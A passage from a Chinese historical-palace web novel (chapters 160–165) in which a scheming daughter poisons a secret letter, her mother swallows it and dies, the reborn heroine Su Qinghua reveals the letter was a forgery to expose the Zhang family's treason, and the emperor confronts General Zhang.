苏清瑶果然右手伸进左边衣袖,在里面一顿翻找,随即缓缓取出一张发黄的纸张。 张彩蝶见状,双眼不由瞪大,眼神里发出闪亮的光芒。 她为了这封信嫁入苏家十几年,可以说是蹉跎了一生最好的年华,如今终于找到它了。 张彩蝶迫不及待的伸出双手,准备接过女儿手中的密信。 只见苏清瑶右手倏然捏住一个纸包,对着那封密信,便是一阵抖落,白色的粉末瞬间将那封密信包裹。 张彩蝶见状,身体不由后退一步,捂住口鼻,大声质问:“你干什么?你撒的什么东西?” 苏清瑶见自己计划成功,嘴角微微一弯,开口解释道:“这是致命的毒药,沾者即死!” “啊?快来人呀,快来人准备好水,瑶儿,你快快将这信丢掉,立刻跟娘去洗手!”张彩蝶闻言,从身上掏出一只手帕,递给苏清瑶,说:“你先用帕子擦擦手。” 苏清瑶见母亲靠近,却后退一步,脸上露出惊慌之色。 母女两个一个靠前一步,一个却退后一步。 一个眼神里是关心的急切,另一个确实担心的畏惧。 书房内瞬间回归到寂静,仿佛时间停止了。 母女二人的目光交织,彼此都读懂了彼此的内心。 “娘,我...我不是怕你抢信,我是担心你中毒。”苏清瑶眼神躲闪,不敢直视张彩蝶,小心的开口解释。 “娘也是担心你中毒。”张彩蝶没有点破女儿的谎言,只是眼神瞬间变得浑浊,尽是变成灰败之色。 她从小娇惯着长大的女儿,竟对她如此不信任! “太子已经提前给我服国解药了,所以女儿碰着毒药也没事,不过太子没有给我多余的解药,娘最好还是别碰它......”苏清瑶低声解释着。 看着母亲失望的目光,她声音不由越来越小。 “娘,对不起了,等我做了太子妃,再偿还你的生养之恩。” 说着,苏清瑶便朝着书房的大门跑去。 张彩蝶并没有去拦。 其实此刻若换成别人,她完全可以先上前将对方制服,再慢慢想办法取回密信,可对方毕竟是她最疼爱的女儿... 她实在不忍心呀! 不忍心亲眼看着她的希望落空,甚至是她亲手造成的。 苏清瑶大步跑到门口,双手刚要去拉门,门却从外面被推开了... 苏清瑶见到来人,脸上的表情瞬间变得复杂,有怨恨,有嫉妒,也有畏惧... “苏清华,你怎么来了?我可要提醒你,这封信已经被我下了剧毒,你若是不想死的话,便乖乖的让开。”说着,苏清瑶故意将拿着密信的右手,朝着苏清华的方向使劲抖落两下。 此举一是为了吓唬对方,二嘛,若是真有机会将药粉撒到苏清华身上,她更是求之不得。 苏清华逆着光站在门口,背部自然挺直,下颌微微抬起,即便安静站立,也能让人感受到她浑身自信的气场。 她嘴角一弯,轻轻说道:“先别说这药粉对我无用,便是真的有用,就凭你这手无缚鸡之力的身体,我也敢保证,三招之内,从你手中拿回密信,并且不沾染毒物分毫,只是那时你是死是活,便要看运气了!” 苏清瑶望着苏清瑶,外面的阳光正好打在她的背后,更显得她犹如天神降世,那阳光刺入她的眼中,晃得她不敢睁眼。 她内心深处不由更加恼怒:“既然如此,那你便去死吧。”说着,她直接冲向对方,同时高举着右手的密信,朝着苏清华面部袭去。 只是还未等她靠近,一只黑色靴子,便朝着她的胸口而来,接着一阵窒息的痛楚,瞬间席卷她的全身,她也随着那股力量,坐倒在地。 她逆着阳光看去,只见宋墨渊双眉紧紧蹙起,眉心川字纹深嵌,眼角微微上挑,像是淬了冰的寒刃,看着她的目光,犹如看死人一般:“你想找死?” “瑶儿,你没事吧?”一声关切的声音传来,接着有人将她拥入怀抱。 这怀抱十分熟悉,不用看她也知道,必定是她的母亲-张彩蝶。 张彩蝶上上下下,将女儿仔细检查一遍,发现女儿没有大碍,才松了口气。 “是你们?我外面的暗卫是你们处理的吧?我说呢,就凭苏府那几块侍卫,如何抵挡的住,我十几暗卫?“张彩蝶怒瞪了苏清华一眼,说:“你故意将密信给苏洵,引我出来,便是为了看我们母女反目?只可惜要让你失望了,因为我永远不会对付我的女儿。” 第一百六十章 死有何惧 “张夫人慈母心肠,我看了都有些许感动,只是你最宝贝的女儿,恐怕不是这么想的!毕竟这封下了毒的密信,已经说明了一切,我便是算准她会这么做,才敢将密信放心的拿出来,所以这一局,是我赢了,张夫人!” 苏清华微微一笑,眼神闪烁着自信的光芒,却也掩不住眼底翻涌的戏谑。 张彩蝶看出她眼底的嘲讽,加上女儿确实如她所说,为了太子背叛了她,一股不服输的情绪瞬间涌上心头,她忽然凄惨一笑,接下来做出一个,出乎所有人意料的动作。 说时迟那时快,张彩蝶右手拥着女儿,左手朝着苏清瑶右手密信抓去。未等众人反应过来,她已经将信纸塞到嘴里,狠狠地咀嚼起来。 胡乱咀嚼几下,她便伸长脖颈,艰难的将信纸往下使劲往下吞咽,只见她眼睛瞪大,喉咙滚动,那封密信便随着她的动作,进入到她的食道。 做完这一切,张彩蝶看着苏清华的方向,嘴角不由上扬,眼神里也尽是鱼死网破的决绝,甚至还夹杂着一丝嚣张。 “苏清华,你以为你机关算尽,却没怎么也没算到,我会不顾生死吧!你以为你这样就赢了我,赢了张家?你做梦吧!你这辈子别想打败张家,我大哥聪明绝顶,他必会替我报仇雪恨,你就洗好脖颈,等着那一天降临吧!” 张彩蝶大声呼喊着,发泄着自己内心对苏清华的恨意。 “娘,你做什么?你这样会死的。”苏清瑶大喊一声,声音里带着哭音,此时也顾不得,成为太子妃之事,只担心着张彩蝶的生死安危。 听到女儿对自己的关切,张彩蝶内心不由软了下来,她低下头看着女儿,嘴角强扯出一丝笑意:“只要张家没事?我死有何惧。娘唯一放不下的便是你跟喆儿。” 说到这里,张彩蝶呼吸不由一滞,胃里翻江倒海,剧烈的绞痛,让五脏六腑都在痉挛,恶心感如潮水般涌来,舌根泛着金属锈味的苦涩。 她强压下那股想吐的感觉,忍着疼痛,继续说道:“瑶儿,你答应娘,我死后,你便主动跟你爹认个错,我虽对不起他,可你毕竟是他的血脉,他又向来疼你,他必会原谅你的,再让他帮你找个普通人家,从此便过简简单单的日子。” 张彩蝶此刻忽然明白,也许普通的日子,才是最简单的日子。 本沉浸在伤心中的苏清瑶,听到这句话,却瞬间应激,大声的回道:“娘,我才不要当个普通人,你不是从小便告诉我,一定要嫁给最有权利的人?我不想过被人瞧不起的日子,更不想过的不如她苏清华!况且太子已经答应我,过了今日,即使我拿不到密信,当不了太子妃,也会想办法,让我成为他的女人。” 苏清瑶向上瞥了一眼苏清华,眼神犹如利剑,充满了仇恨与不甘! 太子说过,有了密信,他若是换的兵符,那她便是最大的功臣,太子妃之位非她莫属,若是没有拿到密信,她为了他,不惜得罪苏家,并与张家为敌,那太子也会接她入府,给她一个安身之所。 “你可知道,你提前服用的解药,虽是能够防你中毒,可却是极寒之物,吃了便会宫体受损,以后再难有孕?” 苏清华的声音清冷,语调不高不低,却带着一股不容置疑的坚定。 “你胡说,你这个恶毒的女儿,先是挑唆我们母女关系,如今又要挑唆我与太子的关系,我不会上你当的,太子对我情真意切,根本不会那样对我。”苏清瑶声嘶力竭的大喊着。 好似喊得声音越大,她的话便越有成真的可能。 苏清华并不恼火,因为她清楚的知道,一个人声音越大,越是要掩饰内心的恐惧。 “我今日心情不错,所以才会提点你一二,至于你想不想信,那便是你自己的事情了。” 苏清华说完此话,便不再搭理她们母女,而是信步走向苏洵,过去将他的穴道解开。 张彩蝶视线逐渐模糊,眼前的景物扭曲成诡异的色块,拥着女儿的手,也不由松了,她声音里带着微弱的喘息:“瑶儿,以前是娘错了,女人这辈子最重要的不是权利,而是一个真心护你的人呀!太子他为了利益,不惜害你不孕,实在不是良人,你万万不可像娘一样,就因为选错了人,蹉跎了一生呀!” 张彩蝶如今方才明白,一个人只活一世,匆匆几十年,当是宁愿简单也不可糊涂呀! “你答应我,瑶儿,娘,我....”她的嘴唇张合了数次,才勉强挤出几个字。声音像是从很远的地方飘来,像被风吹散的薄纱,轻得几乎听不见,气若游丝,仿佛用尽了全身的力气,还未完全出口就消散在空气里。 “姐,你就答应娘吧。”此时呆坐一边的苏喆终于看不下去,爬到母亲与姐姐身边,紧紧拥着母亲。 张彩蝶一直在勉强支撑,此时感觉到背后有了依靠,终于不用强撑,一下倒在苏喆的怀里。 苏清瑶感觉到本是拥着她的手,忽然松开,她急忙转头看向母亲,发现母亲气若游丝,她本想上前,可望向母亲期盼的眼神,她却又犹豫了。 难道她真的要放弃太子,放弃荣华,只当一个平凡的女子? 张彩蝶看出苏清瑶的犹豫与不甘心,她不由轻轻叹息,女儿已经长大,早已有了自己的想法,再也不需要她处处帮她拿主意了。 何况她眼见就要死了,就是想管,也再没机会管那么多了。 张彩蝶躺在苏喆的怀抱,那胸膛虽不宽阔,却也给她一定的安全感,她抬头看着儿子满脸的泪痕,眼泪也不由顺着脸颊流下。 “喆儿,你长大了,娘就要死了,你答应娘,娘死了之后,你好好跟着你爹,继续留在苏家,不过别再去争侯府之位,只管娶妻生子,安心过好后半生便是。” 儿子是什么样的性格,她再是清楚不过,没了她的支持,儿子更是斗不过苏赫。也许放弃侯府之位,才是他最好的归宿。 第一百六十一章 欲擒故纵 此时让他留在苏家,而不是回到张家,也是张彩蝶深思熟虑之后,帮儿子做出的最好的选择,毕竟大哥也有儿子,又怎会全心为他安排,何况大哥野心勃勃,也是为了利益可以牺牲一切的人,苏喆若是跟着他,也只会成为被利用的棋子。 就像她一样,明知道大哥的心思,却又为了家族荣耀,不得不牺牲一生幸福,甚至是自己的性命。 不过她并不后悔,谁让她生在张家,长在张家,享受了张家带给她的荣耀与荣华?将自己奉献给张家,这便是她的命,她认! 可儿子却姓苏,也未承受张家太多恩惠,没有任何为张家牺牲的理由。 “好,娘,我答应你,我什么都答应你,只要你好好活着,娘让我做什么,我便做什么。” 苏喆担心晦气,不敢哭出声音,强忍着心底的悲痛,只是那泪水不知怎么,却如何都忍不住,打湿了他的衣襟,也将张彩蝶的肩膀打湿。 张彩蝶感受到肩膀的温热,知道那是儿子的泪水,儿子虽是能力不行,可对她的心一直万分赤城,她心底只万分后悔,当时若是坚持让公公教育儿子,也许儿子会比现在争气,那样的话,侯爵的位置,儿子倒是有能力一争的。 反过头来一想,她又释怀了,即使当了侯爷又怎么样,也许正是因为儿子无能,方可保住性命,反观女儿苏清瑶,她能力一般,可欲望太深,只怕反而会越陷越深,终究走上不归路呀! 张彩蝶清楚的知道,今日她是必死无疑,唯一能帮女儿的,也仅剩这一点能力,她忍住寒意与灼烧感交替侵袭的痛意,轻轻拽住儿子的衣袖,断断续续的开口:“喆儿,你很好,你这样很好,娘只后悔一直对你忽略良多,没能多多的陪伴你左右,终究是娘对不住你。不过娘最后还是想自私一把,求你答应娘一件事,将来若是有机会,还请你帮娘多照顾一下...” 苏喆还未等张彩蝶说完,便急忙抢过话头:“我答应你,我定会尽力照顾好姐姐,而且娘对喆儿很好,你是世界上最好的娘。” 张彩蝶闻言,欣慰一笑,有儿子这句话,她也算对女儿尽了最后的心。 张彩蝶强忍着最后一口气,眼神一转,化为厉色,狠狠的看向那抹青色的身影:“苏清华,今日终究还是你输了,没有了密信,张家必然可以一直繁盛,只要张家不倒,你永远别想过安稳日子。” “张夫人为了家族命运,宁愿舍弃生命,我心里真心佩服,只是有一真相,我实在不知到底要不要告诉你,若是告诉你,对你实在残忍,若是不告诉你,只怕你又死不瞑目,不如张夫人自己选择一下,到底是要做明白鬼,还是糊涂鬼?” 苏清华胭脂点就的唇,弯成戏谑的弧度,彰显出她主导这场游戏的自信。 张彩蝶视线已经越来越模糊,她还是用眼睛盯着苏清华的方向,视觉的衰退,让她更能感受到苏清华语调里,满是不怀好意的诱惑。 “我连死都不怕,难道还会怕你的胡言乱语?你想说什么,直接说出来便是,又何必在这玩欲擒故纵?” 最终张彩蝶还是忍不住好奇,想亲耳听一下,这可能让她死不瞑目的真相! 苏清华闻言,嘴角一弯,露出早知如此的笑容,她朱唇轻启,缓缓开口:“张夫人即已做了选择,我便让你死的明白,你刚刚吃的那封密信,其实是我找人模仿的,怎么样?这人手艺还不错吧,竟然将你也欺瞒了过去,回去我可得多给他点赏金!” “什么?你....你...”张彩蝶闻言,深受刺激,再也压制不住胸口的翻涌,一张嘴,吐出一大口鲜红的血... 苏清华垂眸盯着自己新染的丹蔻,指尖有节奏地叩击苏洵的书桌,语气不急不燥,继续说道:“我明知密信的重要性,又怎会将它随意拿出来?真的密信,在祖父找到的时候,便因与传信之人相争,被那人扯去了一角,而那一角,刚好就是最重要的署名!否则祖父又怎会将信藏起来,而没有立即向皇上告发张家?你如今宁死也要将信毁掉,恰好证明了,这封信正是你大哥的手笔,我还要感谢你,若是没有你的死,我又如何能让皇上相信我?说到底,这次我还要感谢张夫人呢....” 苏清华的话犹如穿心利剑,狠狠的射向张彩蝶。 这简直就是杀人诛心! 张彩蝶甚至觉得,这话比刚才的毒药,毒性还要强劲,喉间翻涌的腥甜再次漫上舌尖,她指尖死死抠进自己的大腿,她却已感受不到任何疼痛。 看着不远处那抹青色身影,她想将其掐死,却觉得离她如此遥远,因为她连胳膊都已抬不起来,只有她发间玉簪折射的冷光,刺得她瞳孔骤缩。? 舌根已经开始发麻,连眨眼都变得艰难。 “你... 竟如此恶毒,你不得... 好死,我做鬼...也不会...放过...你...” 话未说完便剧烈咳嗽,暗红血沫顺着嘴角蜿蜒而下,在衣襟晕开大片狰狞。? 她的诅咒没有起到任何作用,反倒换来一记轻蔑的冷笑。 “恶毒?跟张夫人相比,这根本就是小巫见大巫,你为了张家无耻的欲望,害了我无辜的母亲,害的苏家家破人亡,甚至害的自己的儿女,眼看着父亲与母亲反目成仇,这只是你应得的报应,在你挑唆孙氏害死我母亲那一刻起,你便应该想到会有这一天...” 苏清华眉毛一挑,眼眸里尽是冷厉:“至于不会放过我,那便先等你做了鬼再说吧。” 苏清华自从重生那一天起,便没打算放过张家兄妹,别说不是所有人都能像她一样,有机会得到机缘重生,她便真跟自己一样,变成复仇的恶鬼,她也不会畏惧退缩一步! 张彩蝶望着对方渐渐靠近的身影,指甲深深掐进掌心。 不知是疼痛让她清醒,还是临死之前的回光返照。 第一百六十二章 张彩蝶死 张彩蝶的视线忽然清晰了几分,一直麻木难忍的舌头,也好似轻松了不少,身上的力气也恢复了许多。 她离开苏喆的怀抱,自己坐起身来,正视着走近的苏清华,嘴角带着一股诡异的笑容,缓缓开口:“就算你这一局赢了我,那又怎么样?你就算机关算尽,也只是一个一辈子没见过亲娘的可怜虫罢了,哈哈哈...” 语毕,张彩蝶放声大笑起来。 那笑声在整个苏府回荡,真的好似恶鬼的哭嚎,让人不由脊背发凉.... “那也没有你死在亲生女儿手中可怜....”苏清华清冷坚绝的声音,穿破张彩蝶的嚎笑,直达她的耳朵。 张彩蝶听闻此言,笑声戛然而止,眼光瞬间变为那双眼睛骤然猩红如淬毒的兽瞳,浑浊的眼白爬满血丝,像是困在牢笼里多年的猛兽终于挣断锁链,眼底翻涌着疯狂与暴戾。她嘴角扯出一个扭曲的弧度,牙齿间发出压抑的低吼,整个人散发着令人战栗的危险气息,与方才回光返照时短暂清明的模样判若两人。? 张彩蝶聚集所有力量,伸手朝苏清华抓去,苏清华清楚的看出她的意图,脸上仍是成竹在胸的淡然,甚至在张彩蝶暴起的那一刻,她的身体也没有挪动丝毫,只是眼神冰冷中带着不屑,像看一只垂死挣扎的老鼠。 张彩蝶耗尽全身力量,对苏清华发出致命一击,却在离苏清华半米的地方,忽然僵住不动。 苏喆没想到母亲会忽然暴起,呆愣在原地,直到发现母亲一直举着双手一动不动,才发现事情的异常,他急忙前去查看,只见母亲瞪大双眼,死死的盯着前方,眼神里全是怨恨与不甘。 苏喆低声喊了一声:“娘,我们还是算了吧,我带你去找大夫...” 只是张彩蝶没有回答,也没有反驳,一直保持着原本的姿势,苏喆用手轻轻一推母亲的肩膀。 张彩蝶颓然倒地,倒地之后,她仍是保持着原来的动作,特别是她的眼睛,瞪着浑圆,怒视着前方,表达着她无尽的不甘... “娘...娘...你别离开我,你起来看看喆儿呀!” 苏喆大声哭喊起来,这一声哭喊,也宣示着,张彩蝶生命的彻底结束... 苏清华看着地上惨死的张彩蝶,不由叹息,满是唏嘘的缓缓开口:“本想告诉你真想,你便可以放心离去,没想到呀,知道了真相,你仍是死不瞑目。说起来你也是可怜,短短一生,都是在为家族而活,没有为自己活过一天,下一世,希望你投个好胎,找一对真正爱你的父母....” “苏清华...,明明是你害死了我母亲,不用你在这假惺惺...” 苏清瑶见到母亲终究还是惨死,内心也有无尽的悲痛,她痛恨的看着苏清华,大声斥责着她。 “难道她不是被你亲手下的毒,毒死的?到底是谁害死的她,你心里应该清楚的很,你这么急不可耐的,将责任推到我头上,便是因为你心虚,你不敢承担亲手害死亲娘的后果...” 苏清华听到苏清瑶的指责,并没有恼火,只是淡淡的跟她剖析着原因。 苏清瑶的头猛烈的摇晃起来,同时她大声喊道:“你胡说,才不是我害死了娘,都是因为你的设计,我娘才会惨死,你卑鄙无耻,不止想用密信设计我们母女失和,更重要的却是想用我娘的命,将这封密信贴上张家的标签,你如此狠毒,必定不会有好下场的!” “随你怎么说吧,如果你这样做,是为了让自己好过一点,也无可厚非,毕竟不是每个人,都能够承受,亲手杀死母亲的精神枷锁。” 苏清华耸了耸肩,一副不跟苏清瑶计较的样子。 “好了,现在我的母亲害死了你的母亲,如今你也害死了她,如今我娘的债也算偿了,以后我们大路朝天,各走一边,我不会找你报仇,你也切莫再找我的麻烦,否则的话,我必不会再放过你!”苏清瑶开口说道。 苏清华一时没有防备,竟被她此番话语惊住。 她想过苏清瑶会为此事恨毒了她,以后必会与她不死不休,却怎么也没想到,她竟想借着张彩蝶之死,要与她化干戈为玉帛。 她虽是最后说了一句满是警告的话语,可她这句话真正的目的,明显是在与她求和! “你娘的死,完全是她咎由自取,而我娘的死,却是张家彻头彻尾的阴谋,我怎会轻易就此放下?你若是从此与张家一刀两断,看在姐妹一场的份上,我倒是可以考虑放你一马...” 苏清瑶攥着裙摆的手指关节泛白,指甲几乎要掐进掌心,若不是自己没拿到密信,她又怎会强忍心中恨意,想与苏清华谈和? 如今密信失手,自己很有可能又不能有孕,若想在太子身边占得一席之位,那么还是需要舅舅的支持,她又怎肯轻易放弃与张家的联系? “我身上流着张家的血,又怎么可能跟他们一刀两断?你未免有点太强人所难了。” 苏清华取出一条帕子,慢条斯理地擦拭着手指,目光沉静如水: “到底是因为流着张家的血,还是你还寄希望与你的大将军舅舅帮你当太子妃?若说你身为苏家之女,知道张家所做的一切,即便做不到报复张家,也该与其保持界限才对,何况你母亲临死之前,也在劝你留在苏家,你亲手害死亲娘毫无愧色也就罢了,竟连她最后遗言也不遵守,实在是...渍渍...” “若说害死自己的亲娘,你不也是如此,当初如果不是为了救你,你娘也不会乖乖喝下那碗毒药...” 苏清华仍是不慌不忙,轻轻捋了捋几缕散落的青丝,沉稳开口:“无论如何,我想起母亲,都是她为我而死的感激,而你想起你母亲,不知道又会是什么心境?像你这种自欺欺人,只顾自己当前利益的人,不用我亲自出手,终究有一日也会自食恶果!” 第一百六十三章 信不过我? “来人呀,立刻将这晦气的死人扔出去,别脏了我苏家的地儿。”苏洵眉头紧皱,语气冰冷。 显然,他对张彩蝶的恨意未消,哪怕她死了,他也不想让她留在苏家。 苏喆抱着张彩蝶的尸体,眼泪早已将他的视线模糊,他眼神哀求的看着父亲,出声恳求道:“父亲,我的母亲确实做了很多对不起您,对不起苏家的事情。可是母亲也有众多无奈,她也不过是被命运戏弄的可怜人,如今她已经去世,请您看在她服侍您多年的份上,就原谅她一次,让她葬入苏家祖坟,入土为安吧。” 苏喆即为为母亲的死伤心,却也舍不得真的离开父亲,他内心深处,还是希望父亲能原谅母亲,这样他也不必为难了。 “她服侍我多年?她是谋害我多年,甚至害了我一辈子才对!” 苏洵的脸颊因气血上涌,涨得通红:“你们的祖母是怎么死的,相信你比我清楚,我对你如何尚且不说,你祖母一直对你恩宠有加,她死后甚至都不能葬入苏家祖坟,你母亲又怎么可能有资格葬入苏家祖坟?若是我真这么做了,不止是你祖母,只怕苏家的先祖们,一个个的都会不得安宁!我死后更没脸面去见你们的祖父。” 苏喆见父亲脸色不善,态度更是不容置疑,也知道再无可能,只好抱起张彩蝶,准备离开。 “姐姐,我们还是去找舅舅,让他帮我们安葬母亲吧。” 苏清瑶脸上也挂着未干泪珠,可她的眼神里除了伤心,还藏着许多算计。 母亲已经死了,以后她只能靠自己,她必须好好为自己的将来打算一下。 直到听到苏喆喊她,她方才停止为后面的路筹谋。 苏清瑶思考片刻,点头答应。 不管如何,母亲待她不薄,好好送母亲一程,也算她做女儿的尽心了。 二人刚走到门口,后面苏洵的声音再次传来。 “张家与苏家已势不两立,你们若是还想留在苏家,我可以给你们一次机会,不过从此之后,不得再与张家有任何瓜葛,否则的话,便永远别回来了。” 苏洵脸色铁青,这已是他最大的让步。 苏喆闻言,立刻出言道:“父亲,我已经答应母亲,以后会留在苏家,只是娘生我养我,她如今身死,作为儿子不能不管,请你给我几天时间,等我把母亲葬了,便会回家。” 苏洵点点头答应:“好,那我给你三天时间。” 他随即看向一直不说话的苏清瑶,问:“瑶儿,你呢?你怎么选?” “我...” 苏清瑶眼神躲闪,不敢轻易做出选择。 苏洵看出她的犹豫,内心有些许恼怒,可面对曾经最疼爱的孩子,他还是忍下怒气,开口安慰道:“我知道你担心什么,你必是担心回苏家之后,你大哥不会容你,我以父亲的名义向你担保,只要我活着的一天,便不会允许这等事情发生,等着我再为你,寻一门远离京城的亲事,到时候便是我死了,也会有夫家护你。” 苏洵说的言辞恳切,显然是诚心十足的。 苏清瑶听闻此言,眉头不由一皱,本来犹豫的心,却有了一丝坚定。 虽然太子不一定是好的归宿,可她宁愿选择跟着太子赌一把,也不愿远离京城,毕竟远离京城的人家,再好又能好到哪去? 只是这话,她却不敢当着父亲的面,说出口... 苏洵见她一直不说话,叹了一口气,说:“那我也给你三天时间考虑,三天之后你若是回来,便仍是我苏家女儿,若是未回,那便永远别回来了,我会从族谱上,将你名字划去,就当我苏家从来没有这个人...” 苏清瑶仍是没有回答。 苏喆见状,便抱着张彩蝶的尸首,率先迈出了书房的大门,苏清瑶半低着头,望向苏洵的眼神,透着些许心虚,随即她又将眼神移向苏清华,眼神立刻化为怨恨与不甘... “哼!凭什么她可以趾高气昂的当公主,她却要灰头土脸的远离京城? 苏清瑶眼神瞬间化为决绝,转身踏出书房大门,追上苏喆的步伐,两人很快离开了苏家。 待到他们姐弟离开,房间的空气仿若凝滞了,瞬间陷入寂静的尴尬中... 苏洵望向苏清华的眼神,不见了之前的不满与仇怨,反而化为慈父般的期许:“华儿,天色不早了,不如留下用午膳吧。” 随即他又看向站在门口的宋墨渊,说:“宋公子,今日多亏你前来帮忙,否则的话,只靠苏府这些侍卫,必定抵不过张家暗卫,您若是肯赏脸,不如也留下一起用饭。” “不用了,我出去看看张家那些暗卫,好似有两个活口留下,我要速速将他们带进宫,交给舅父处置。” 宋墨渊刚才特意吩咐碧山,将带头的暗卫只废武功,留下活口,此刻他最想做的,便是尽快将此事禀告舅父,以免张之熊收到消息,再生出其他是非。 “宋公子,那便麻烦你将此封书信,一起交给皇上。”苏清华拿出真正的密信,递给宋墨渊。 宋墨渊微微点头,顺势伸手接过书信,随即大步离开苏家书房,让碧山带着那几个暗卫,往宫里的方向而去。 苏洵眉头紧皱,不可置信的望向苏清华:“那封信竟真是假的?你当时明明跟我保证,那封密信是真的,还信誓旦旦的,让我去测真伪!” 苏洵一直以为,苏清华是为了骗张彩蝶,才故意谎称密信为假,没想到的是,苏清华骗的却是他。 苏清华转过头,嘴角上扬,淡淡一笑,眼神里满是自信的说:“我知道你不会测,你求真相心切,又怎会耐住性子,真找人测真假?” 苏清华内心清楚的紧,苏洵刚刚出狱,一时半刻根本找不到信赖的人,帮他鉴定密信真假。 “你为什么这么做?难道你还是信不过我?”苏洵眼神直直的盯着苏清华,里面蕴含着几分期盼。 第一百六十四章 “信不过只是一方面,最主要的是,我猜到张彩蝶,必会为了密信不顾一切,这是祖父用命换来的证据,我又怎会随意将其给你,让它跟你轻易冒险?” 苏清华将密信送给苏洵看,让他知道实情为次要,设计勾引张彩蝶,让她前来抢信,从而证明信的真实性才为真。 张家在苏府肯定留有眼线,苏洵若是表现的不够真实,张家又如何会彻底上钩? 她用假信欺骗苏洵,便是引出张彩蝶最重要的一环。 对于苏清华的直言不讳,苏洵内心不由一滞,心跳不由漏掉几拍,鼻头也瞬间满是酸意。 这次出狱之后,苏清华对他态度明显转变,他本以为她已原谅他,可原来并没有... 对于苏洵的酸楚与沉默,苏清华并没发现,甚至发现了,她也不会在乎。 屋内再次陷入尴尬境地。 苏洵的伤心只有一瞬,随即化为释然。 以前虽是张家母女特意设计,可他对苏清华这个女儿,确实也忽略良多,她不信任她也是应当,日后他想办法多多弥补,女儿定能回心转意... “华儿,张彩蝶已死,苏府这么大,不如你还搬回来,我们也好一起作伴,我以后定会好好待你,弥补以前的错误。”苏洵出言试探。 苏清华抬眸,苏洵祈求的眼神直达她眼底,她望着他满是讨好的眼光,没有一丝感动。 有的只是不断上涌的讽刺,上辈子被他一封书信骗回京都,最后凄苦而死,种种遭遇犹如昨日之事,她又怎会彻底放下芥蒂,跟他重复父女之情? 她不再追着报复,已是看在祖父与大哥的面子之上,不想大哥没有任何支撑,苏家人员凋零。 覆水难收,她与他的父女情分,早就没了。 “不必了,我即已出了苏家族谱便没有回来的必要,以后你好自为之吧!” 语毕,苏清华便转身离开,没有丝毫的犹豫。 “你若是真要悔过,便好好对大哥,也算全了祖父的遗愿。” 苏清华走至门口,忽然再次开口,她的头仍是直视着前方,甚至不想再回头看苏洵一眼。 冰释前嫌的戏码,爱谁演谁演,她重生回来是为了追求真正的亲情,而不是这些虚情假意的拉拢。 苏清华刚刚回府,便接到消息,张之熊在苏家兄妹返回张府之后,没有立即安葬妹妹,而是往皇宫的方向去了。 大殿之上,气氛如寒冬的冰窖般冷肃,赵阳帝拿着密信的双手,不由颤抖,他瞪着双眼,明显已气极。 “张家竟真的敢通敌,这次我一定不会放过张家。” “舅父,是否要立即缉拿张之熊?”宋墨渊问。 “好,你立刻命人前去将张府团团围住,然后押着张之熊来见我,他若是敢反抗,格杀勿论!” “是。” “ 皇上,张大将军只穿单衣,背负荆条,跪在殿外。”宋墨渊转身刚要离去,江全便进来禀报。 “什么?”赵阳帝一脸吃惊:“渊儿,你猜他又想玩什么把戏?” “想必是要用兵符,换取一次活命的机会。” 宋墨渊十分清楚张之熊,他十分惜命,若是到了逼不得已,必不会主动交出兵符,可如今密信找到,他通敌的罪名已是板上钉钉,他为了活命,便不得不为自己争取一次机会。 “是嘛?只是事已至此,一张兵符,便想让我赦免他通敌之罪,只怕是痴心妄想!” 赵阳帝右手在桌子上一拍,眼神里蹦出十足的杀意:“渊儿,你不必理会他,立刻命人将张府紧紧围住,若是有人敢有任何不轨行为,就地格杀!至于张之熊,他愿意跪便让他在外面跪着吧,我倒要看看,他能玩出什么花样?” 待宋墨渊离去,赵阳帝却不急着召见张之熊,反而走到后面的软榻休息。 直到太阳西斜,赵阳帝方伸伸懒腰,招呼江全进来更衣。 “张之熊可还在跪着?” “是,已经跪了两个时辰,张将军果然是军人出身,期间竟是一动未动。”江全恭敬回禀,眼神里不是对张之熊的敬佩,反而带着一丝鄙夷。 “哼,现在倒是知道怕了,想当初用军功要挟朕,逼我放了他的妹妹,我还以为他对妹妹有多深的感情,如今为了自己活命,也不管为救他而死的妹妹,反而跪在外面浪费时间。” “是,他当初敢在您面前放肆,便应该想到会有今天。”江全立刻附和赵阳帝。 “让他进来吧。都说他聪慧至极,文武双全,我倒看他,想如何自救?” 皇帝高坐于龙椅之上,龙袍在烛光下闪烁着威严的光芒,他的眼神如鹰隼般锐利,扫视着下方。 “张大人,你身为赵阳第一大将军,为赵阳立下汗马功劳,为何要跪在长庆殿外,不知道的,还以为我刻薄与你,不容救国的功臣呢?” 张之熊听出赵阳帝的讽刺之意,此刻他却不敢有丝毫不满,拖着早已麻木的双腿,步伐沉重地走到殿中,双膝一弯,重重的跪在殿中。 他的身后,是一根布满尖刺的荆条。 “陛下,臣犯下大错,罪该万死!臣愿交出兵符,恳请皇上放过张家。” 皇帝的脸色阴沉得如同暴风雨来临前的天空,他紧握龙椅的扶手,怒目而视:“若只是陷害老靖远侯,看在你张家世代守卫赵阳的份上,我倒可以饶你不死,可你胆大包天,竟敢通敌叛国,你可知这是诛九族的大罪?你想用一张兵符便换取九族性命?” 赵阳帝站起身来,缓缓迈步,朝着张之熊走来,眼底深处透出无尽的怒气:“况且,兵符本就是皇家之物,当时交给你保管,只是兵符本就是皇族东西,难道你还想据为己有? “不敢,臣一时糊涂,犯下大错,不敢再忝居高位。臣自请撤去大将军一位,让位与苏赫。苏赫得自老靖远侯真传,一定可以拢住军心,保赵阳安危,毕竟这大将军之位,我便是从老靖远侯手中接过来的,如今偿还给苏赫,也算让一切回归正轨。” 第一百六十五章 另有隐情 张之熊语毕,偷偷抬头观察赵阳帝的表情,果然见赵阳帝闻言,眼底闪过明显的不悦。 他故意提及苏赫,便是要在赵阳帝心头埋下一根刺,苏赫想踩着他往上爬,那也要看他有没有这个命! 赵阳帝在听到“拢住军心”四字,果然内心瞬间不悦。 好不容易将兵符收回,他又岂会容许,再有第二个张之熊出现? 况且这大将军之位,本就是皇家给与臣子的殊荣,根本不是他苏家的东西,苏赫如今没有任何军功,他又怎配得上这么高的位置? “你通敌叛国,暗害靖远侯,本就罪该万死,当然是没有资格再当大将军了,至于这位置是谁会坐上去,便不是你能操心的,你还是想一下自己的身后事吧,看在你张家先祖的份上,我便留你全尸。” 赵阳帝冷冷开口,显然内心深处早已做好决定。 张之熊额头重重地磕在地上,“咚咚” 作响:“臣自知罪孽深重,罪责难逃,只是还请皇上,再给我一个解释的机会。” 皇帝站起身来,在殿中来回踱步,怒火在他的眼中熊熊燃烧:“解释的机会?你的亲手写密信,便在这里,里面清清楚楚写着,你必会配合天奴王,帮他达成目的,你还有什么可解释的?难道你想说,你妹妹拼死也要吃掉的密信,竟是假的?” 